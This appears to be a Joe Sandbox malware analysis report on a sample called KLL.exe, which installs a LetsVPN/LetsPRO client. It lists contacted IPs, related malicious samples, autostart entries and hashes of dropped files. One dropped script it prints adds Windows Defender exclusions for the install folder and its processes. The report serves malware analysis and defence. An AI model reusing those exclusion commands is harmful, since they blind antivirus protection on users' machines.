            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/app.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/app.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://contoso.com/LicenseLetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/3083439-%d1%87%d1%82%d0%be-%d0%b4%d0%b5%d0%bb%d0%b0%LetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/radiobuttondictionary.bamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            183.60.146.66
            		unknownChina
            		134763CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCNfalse
            77.88.44.55
            		yandex.comRussian Federation
            		13238YANDEXRUfalse
            35.227.223.56
            		unknownUnited States
            		15169GOOGLEUSfalse
            108.138.24.13
            		unknownUnited States
            		16509AMAZON-02USfalse
            154.204.0.4
            		unknownSeychelles
            		134548DXTL-HKDXTLTseungKwanOServiceHKtrue
            103.235.46.96
            		www.wshifen.comHong Kong
            		55967BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtdfalse
            23.98.101.155
            		unknownUnited States
            		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
            142.250.186.132
            		www.google.comUnited States
            		15169GOOGLEUSfalse
            108.138.24.115
            		d1dmgcawtbm6l9.cloudfront.netUnited States
            		16509AMAZON-02USfalse
            18.136.78.90
            		socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.comUnited States
            		16509AMAZON-02USfalse

            Private

            IP
            127.0.0.1

            General Information

            Joe Sandbox version:40.0.0 Tourmaline
            Analysis ID:1477193
            Start date and time:2024-07-20 11:35:10 +02:00
            Joe Sandbox product:CloudBasic
            Overall analysis duration:0h 14m 54s
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
            Number of analysed new started processes analysed:75
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:1
            Technologies:
            • HCA enabled
            • EGA enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Sample name:KLL.exe
            Detection:MAL
            Classification:mal60.spre.troj.spyw.evad.winEXE@101/287@13/11
            EGA Information:
            • Successful, ratio: 50%
            HCA Information:
            • Successful, ratio: 52%
            • Number of executed functions: 46
            • Number of non-executed functions: 442
            Cookbook Comments:
            • Found application associated with file extension: .exe
            • Override analysis time to 240000 for current running targets taking high CPU consumption

            Warnings

            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
            • Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.153.25.230, 2.23.209.182, 2.23.209.150, 2.23.209.176, 2.23.209.189, 2.23.209.187, 2.23.209.179, 2.23.209.177, 2.23.209.149, 2.23.209.185, 4.153.25.42
            • Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, in2-gw2-05-3d6c3051.eastus2.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, in1-gw2-04-3d6c3051.eastus2.cloudapp.azure.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net
            • Not all processes where analyzed, report is missing behavior information
            • Report creation exceeded maximum time and may have missing disassembly code information.
            • Report size exceeded maximum capacity and may have missing behavior information.
            • Report size exceeded maximum capacity and may have missing disassembly code.
            • Report size exceeded maximum capacity and may have missing network information.
            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
            • Report size getting too big, too many NtCreateKey calls found.
            • Report size getting too big, too many NtDeviceIoControlFile calls found.
            • Report size getting too big, too many NtEnumerateKey calls found.
            • Report size getting too big, too many NtEnumerateValueKey calls found.
            • Report size getting too big, too many NtOpenFile calls found.
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtProtectVirtualMemory calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.
            • Report size getting too big, too many NtReadVirtualMemory calls found.

            Simulations

            Behavior and APIs

            TimeTypeDescription
            05:36:03API Interceptor1x Sleep call for process: KLL.exe modified
            05:36:04API Interceptor3x Sleep call for process: svchost.exe modified
            05:36:24API Interceptor14x Sleep call for process: powershell.exe modified
            05:36:47API Interceptor4209136x Sleep call for process: LetsPRO.exe modified
            05:36:48API Interceptor4369716x Sleep call for process: uc_ctrl.exe modified
            10:36:47AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
            10:36:55AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            183.60.146.66lets-test.msiGet hashmaliciousUnknownBrowse
              zx.exeGet hashmaliciousUnknownBrowse
                zx.exeGet hashmaliciousUnknownBrowse
                  zx.exeGet hashmaliciousUnknownBrowse
                    zx.exeGet hashmaliciousUnknownBrowse
                      zx.exeGet hashmaliciousUnknownBrowse
                        zx.exeGet hashmaliciousUnknownBrowse
                          77.88.44.55jonathan.cody e-Doc File_014216.docxGet hashmaliciousHTMLPhisherBrowse
                            Magmutual-Contractual-Agreement-usqe-276342429-.docxGet hashmaliciousHTMLPhisherBrowse
                              zx.exeGet hashmaliciousUnknownBrowse
                                zx.exeGet hashmaliciousUnknownBrowse
                                  zx.exeGet hashmaliciousUnknownBrowse
                                    https://sites.google.com/view/dcnoterialsecu/accueilGet hashmaliciousUnknownBrowse
                                      https://cw08037.tw1.ru/oro/Get hashmaliciousUnknownBrowse
                                        V-Mail_maryland.gov.htmlGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                          https://9vn.lagerpec.com/N3pd9/Get hashmaliciousHTMLPhisherBrowse
                                            ATT001_PlayVM.htmlGet hashmaliciousUnknownBrowse
                                              108.138.24.13lets-test.msiGet hashmaliciousUnknownBrowse
                                                zx.exeGet hashmaliciousUnknownBrowse
                                                  154.204.0.4zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.4:15628/\
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.4:15628/\
                                                  103.235.46.966o63snaetO.exeGet hashmaliciousUnknownBrowse
                                                  • www.baidu.com/
                                                  http://metamask-zhwallet.org/Get hashmaliciousUnknownBrowse
                                                  • www.baidu.com/img/flexible/logo/plus_logo_web_2.png
                                                  Tas10.dllGet hashmaliciousBlackMoonBrowse
                                                  • www.baidu.com/
                                                  Tas8.dllGet hashmaliciousBlackMoonBrowse
                                                  • www.baidu.com/
                                                  Tas8_WL.dllGet hashmaliciousBlackMoonBrowse
                                                  • www.baidu.com/

                                                  Domains

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  d1dmgcawtbm6l9.cloudfront.netlets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 3.164.160.102
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 18.239.15.216
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 3.164.160.24
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 108.138.24.13
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 108.138.24.227
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 18.154.80.50
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 18.239.15.44
                                                  www.wshifen.comlets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  yG5JwI8M2H.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.47.188
                                                  AAq2b5KtWK.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.47.188
                                                  6o63snaetO.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.46.96
                                                  6o63snaetO.exeGet hashmaliciousUnknownBrowse
                                                  • 103.235.47.188
                                                  http://metamask-zhwallet.org/Get hashmaliciousUnknownBrowse
                                                  • 103.235.47.188
                                                  socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.comlets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 54.169.168.67
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 52.220.169.49
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 52.220.169.49
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 52.220.169.49
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 54.169.173.39
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 52.74.233.99
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 18.139.109.75
                                                  nit.crash1ytics.comlets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 142.242.204.31
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 142.242.204.31
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 67.137.174.254
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 223.61.70.52
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 67.137.174.254
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 67.137.174.254
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 67.137.174.254
                                                  nal.fqoqehwib.comlets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 104.112.172.245
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 33.86.72.19
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 99.34.124.121
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 99.34.124.121
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 99.34.124.121
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 104.112.172.245
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 10.176.38.125

                                                  ASNs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  AMAZON-02US92.249.48.47-skid.arm7-2024-07-20T09_04_19.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 18.255.31.158
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                  • 143.204.215.115
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                  • 143.204.215.18
                                                  92.249.48.47-skid.x86-2024-07-20T09_04_17.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 54.119.165.70
                                                  92.249.48.47-skid.sh4-2024-07-20T09_04_17.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 54.182.178.103
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                  • 143.204.215.122
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                  • 143.204.215.115
                                                  92.249.48.47-skid.mips-2024-07-20T09_04_16.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 52.76.90.184
                                                  92.249.48.47-skid.m68k-2024-07-20T09_04_20.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 52.9.111.108
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                  • 143.204.215.18
                                                  CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCNSecuriteInfo.com.not-a-virus.HEUR.Downloader.Win32.Duba.gen.28830.27730.exeGet hashmaliciousUnknownBrowse
                                                  • 183.61.243.1
                                                  lets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  y7cm9CKSN9.elfGet hashmaliciousMiraiBrowse
                                                  • 42.157.152.230
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 183.60.146.66
                                                  jew.x86.elfGet hashmaliciousUnknownBrowse
                                                  • 42.157.129.7
                                                  YANDEXRUhttps://uitp5vcr.paperform.co/Get hashmaliciousHTMLPhisherBrowse
                                                  • 5.255.255.77
                                                  kz7iLmqRuq.exeGet hashmaliciousQuasarBrowse
                                                  • 93.158.155.18
                                                  jonathan.cody e-Doc File_014216.docxGet hashmaliciousHTMLPhisherBrowse
                                                  • 77.88.44.55
                                                  lets-test.msiGet hashmaliciousUnknownBrowse
                                                  • 77.88.55.88
                                                  Magmutual-Contractual-Agreement-usqe-276342429-.docxGet hashmaliciousHTMLPhisherBrowse
                                                  • 77.88.44.55
                                                  Scanner_SKME092878673568739809289728639802765768729809208.pdfGet hashmaliciousUnknownBrowse
                                                  • 87.250.251.119
                                                  https://1drv.ms/o/s!AhamKbFAgjbffS1Sylq61px7DxI?e=AvRhOVGet hashmaliciousSharepointPhisherBrowse
                                                  • 93.158.134.119
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 77.88.44.55
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 77.88.44.55
                                                  https://inscricao.faculdadeitop.edu.brGet hashmaliciousUnknownBrowse
                                                  • 87.250.251.119
                                                  DXTL-HKDXTLTseungKwanOServiceHKSC61092U5IO.exeGet hashmaliciousFormBookBrowse
                                                  • 154.214.114.86
                                                  LSW7109326UNI0.exeGet hashmaliciousFormBookBrowse
                                                  • 154.214.114.86
                                                  Fatura20240617.exeGet hashmaliciousFormBookBrowse
                                                  • 154.214.114.86
                                                  SC61092U5IO.exeGet hashmaliciousFormBookBrowse
                                                  • 154.214.114.86
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.4
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.4
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.7
                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                  • 154.204.0.7
                                                  botx.arm.elfGet hashmaliciousMiraiBrowse
                                                  • 154.214.177.50
                                                  5CxmQXL0LD.exeGet hashmaliciousSystemBCBrowse
                                                  • 154.80.178.141

                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  C:\Program Files (x86)\letsvpn\LetsPRO.exeKuaiVpn-n.msiGet hashmaliciousUnknownBrowse
                                                    zx.exeGet hashmaliciousUnknownBrowse
                                                      zx.exeGet hashmaliciousUnknownBrowse
                                                        zx.exeGet hashmaliciousUnknownBrowse
                                                          zx.exeGet hashmaliciousUnknownBrowse
                                                            zx.exeGet hashmaliciousUnknownBrowse
                                                              zx.exeGet hashmaliciousUnknownBrowse
                                                                C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dllKuaiVpn-n.msiGet hashmaliciousUnknownBrowse
                                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                                    zx.exeGet hashmaliciousUnknownBrowse
                                                                      zx.exeGet hashmaliciousUnknownBrowse
                                                                        zx.exeGet hashmaliciousUnknownBrowse
                                                                          zx.exeGet hashmaliciousUnknownBrowse
                                                                            zx.exeGet hashmaliciousUnknownBrowse
                                                                              C:\Program Files (x86)\letsvpn\Update.exeKuaiVpn-n.msiGet hashmaliciousUnknownBrowse
                                                                                zx.exeGet hashmaliciousUnknownBrowse
                                                                                  zx.exeGet hashmaliciousUnknownBrowse
                                                                                    zx.exeGet hashmaliciousUnknownBrowse
                                                                                      zx.exeGet hashmaliciousUnknownBrowse
                                                                                        zx.exeGet hashmaliciousUnknownBrowse
                                                                                          zx.exeGet hashmaliciousUnknownBrowse

                                                                                            Created / dropped Files

                                                                                            C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):318
                                                                                            Entropy (8bit):4.740682303463164
                                                                                            Encrypted:false
                                                                                            SSDEEP:6:IPeGgdEYC5BeGgdEEFmJovkBPeGgdEEFrGvkBPeGgdEEFwn0ZkBPeGgdEEFQr4MF:ISuFAuEcJxSuEJGQSuEyPSuESr1SuE6
                                                                                            MD5:B34636A4E04DE02D079BA7325E7565F0
                                                                                            SHA1:F32C1211EAC22409BB195415CB5A8063431F75CD
                                                                                            SHA-256:A9901397D39C0FC74ADFDB95DD5F95C3A14DEF3F9D58EF44AB45FC74A56D46DF
                                                                                            SHA-512:6EB3255E3C89E2894F0085095FB5F6AB97349F0ED63C267820C82916F43A0AC014A94F98C186FF5D54806469A00C3C700A34D26DE90AFB090B80AC824A05AA2F
                                                                                            Malicious:false
                                                                                            Preview:Add-MpPreference -ExclusionPath "C:\Program Files (x86)\letsvpn"..Add-MpPreference -ExclusionProcess "LetsPRO.exe"..Add-MpPreference -ExclusionProcess "tapinstall.exe"..Add-MpPreference -ExclusionProcess "uninst.exe"..Add-MpPreference -ExclusionProcess "Update.exe"..Add-MpPreference -ExclusionProcess "ndp462-web.exe"

                                                                                            C:\Program Files (x86)\letsvpn\LetsPRO.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):247272
                                                                                            Entropy (8bit):6.894684781286516
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:eZzvhs2Z4n1E7g34XtVYAOfTdxz44JsQwOURhw:eJ+2Z4nShVY5HUEUnw
                                                                                            MD5:8FC872149F0B8D2FB3D75C4076C0A8CA
                                                                                            SHA1:D31CF6784649D805F7A994C9E9B72FFB2E1920DC
                                                                                            SHA-256:869448B4FCD15473FE4FDC9DBBF05FCFA154B854231CCE94858B4BD7B196C13A
                                                                                            SHA-512:77A225866574C2AE296E61DB1AEFD193D5766A1DF0E5B36C7BAC657958BDFDC7CCFFF85FE2B3E7CCBBDB482EE82B1FABC753042494B16BE0DF74EA96D87E65C6
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Joe Sandbox View:
                                                                                            • Filename: KuaiVpn-n.msi, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e..O.S.O.S.O.S.).R.O.S.).R.O.S.).R.O.S.'.R.O.S.'.R.O.S.'.R.O.S.).R.O.S.O.S.O.S5&.R.O.S5&.S.O.S.O.S.O.S5&.R.O.SRich.O.S........................PE..L.....p_............................+.............@.......................................@.....................................<.......L................+.......!......p...............................@...............,............................text...8........................... ..`.rdata..V...........................@..@.data....#..........................@....rsrc...L...........................@..@.reloc...!......."...x..............@..B........................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\Update.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1910760
                                                                                            Entropy (8bit):5.9104950900062425
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:xWltPuAnUCiag6CKM2zCy9sQuOjj1VgZej6GeS4lNrCze5qhYp4t9m2X5l:Mt3UCiag6CKM2zCyZuOjJaxSS5qhr
                                                                                            MD5:10A090D9B59FBBB404DD4DA233E3BA5B
                                                                                            SHA1:AD683C9CA3D59F45DC0FB587B88B9B7B92B3118F
                                                                                            SHA-256:677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC
                                                                                            SHA-512:A4F70D0E16AC80ECADB03715D7C47CCB47AF248544CC936CEB7B06B1D08B3C84FB5C6618F5520A759089006D5926B9B843AE0499C5A68EDB8F208A091CA94845
                                                                                            Malicious:true
                                                                                            Yara Hits:
                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\letsvpn\Update.exe, Author: Joe Security
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Joe Sandbox View:
                                                                                            • Filename: KuaiVpn-n.msi, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5.p_............................>.... ........@.. .......................`.......\....@.....................................W.... ...................+...@....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................ .......H.......LU..............,.................................................{....*..{....*..{....*r.(......}......}......}....*....0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o....*.*..0..K....... .A. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X*..0...........r...p......%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.......o.....(....*....{....*..{....*

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):113128
                                                                                            Entropy (8bit):6.310120137379966
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:cARI0MvSAA6U7ks4jhOWE8i6wrNMRjYAZlfNASZfSOi3qAwrxX:cWMpA6Agg8ahQYAZlFnUqhR
                                                                                            MD5:08C367733CD7D3C92F8E7838DA655A44
                                                                                            SHA1:CA27248645DA63062337FBBB52A84E014250DC62
                                                                                            SHA-256:DB8D8E2189B9C74952D5DB987224E6084CE3B0013516A613D3AF22C2E626B2C2
                                                                                            SHA-512:46365E91A00274F6FE180E312CA3E3358A211B5566929F66FC2125BE7F431712D65DBBE61003FC3A309EB69544DC61C99734330A0BB6899563E505136463F7B5
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Joe Sandbox View:
                                                                                            • Filename: KuaiVpn-n.msi, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            • Filename: zx.exe, Detection: malicious, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..~............... ........... ...............................<....`.................................a...O........................+..............T............................................ ............... ..H............text....|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{9...*..{:...*V.(;.....}9.....}:...*...0..A........u#.......4.,/(<....{9....{9...o=...,.(>....{:....{:...o?...*.*.*. ..1 )UU.Z(<....{9...o@...X )UU.Z(>....{:...oA...X*...0..b........r...p......%..{9......%q&....&...-.&.+...&...oB....%..{:......%q'....'...-.&.+...'...oB....(C...*..{D...*..{E...*V.(;.....}D.....}E...*.0..A........u(.......4.,/(<....{D....{D...o=...,.(>....{E....{E...o?...*.*.*. ...[ )UU.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.942098509975081
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:qu/ZC45lG1SpwKANynsAw/98E9VF3AM+ozD4Dmr:V/Z/loAw/KENAMxzLr
                                                                                            MD5:DDE518AB3D3F80D4D7C7F3ABF26A4315
                                                                                            SHA1:22B9F0AFBFB639D6F624E4049B4D29CCA349219E
                                                                                            SHA-256:75F97A89EB8D78034FA6511DF14C73C7FAFF4AC34F63E11ECAEFA97AA44291A4
                                                                                            SHA-512:C74E9E0869234DABC125505C9C89BC7B8A16341500F649F288FB93A5A17D9FBED20034D5227463FB1588D403201924794FDEF570A461E4A99BEE308BF9A8059F
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................-... ...@....... ....................................@..................................,..S....@...................+...`.......+............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......$!..l...................P .......................................h....X|f.........+.j$....r.~.3i....m2.....'.|..OZ.ep..)t?...P6c.<<Qe.M...M.0.B.(+.v.Kk!...Y.....H..7r.[(.r....J_.!.....l.0..,...............~.......j.j.j....... .(....-.s....z*N.j...(....-.s....z*..(....*BSJB............v2.0.50727......l.......#~..(... ...#Strings....H.......#US.P.......#GUID...`.......#Blob...........W?........%3....................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
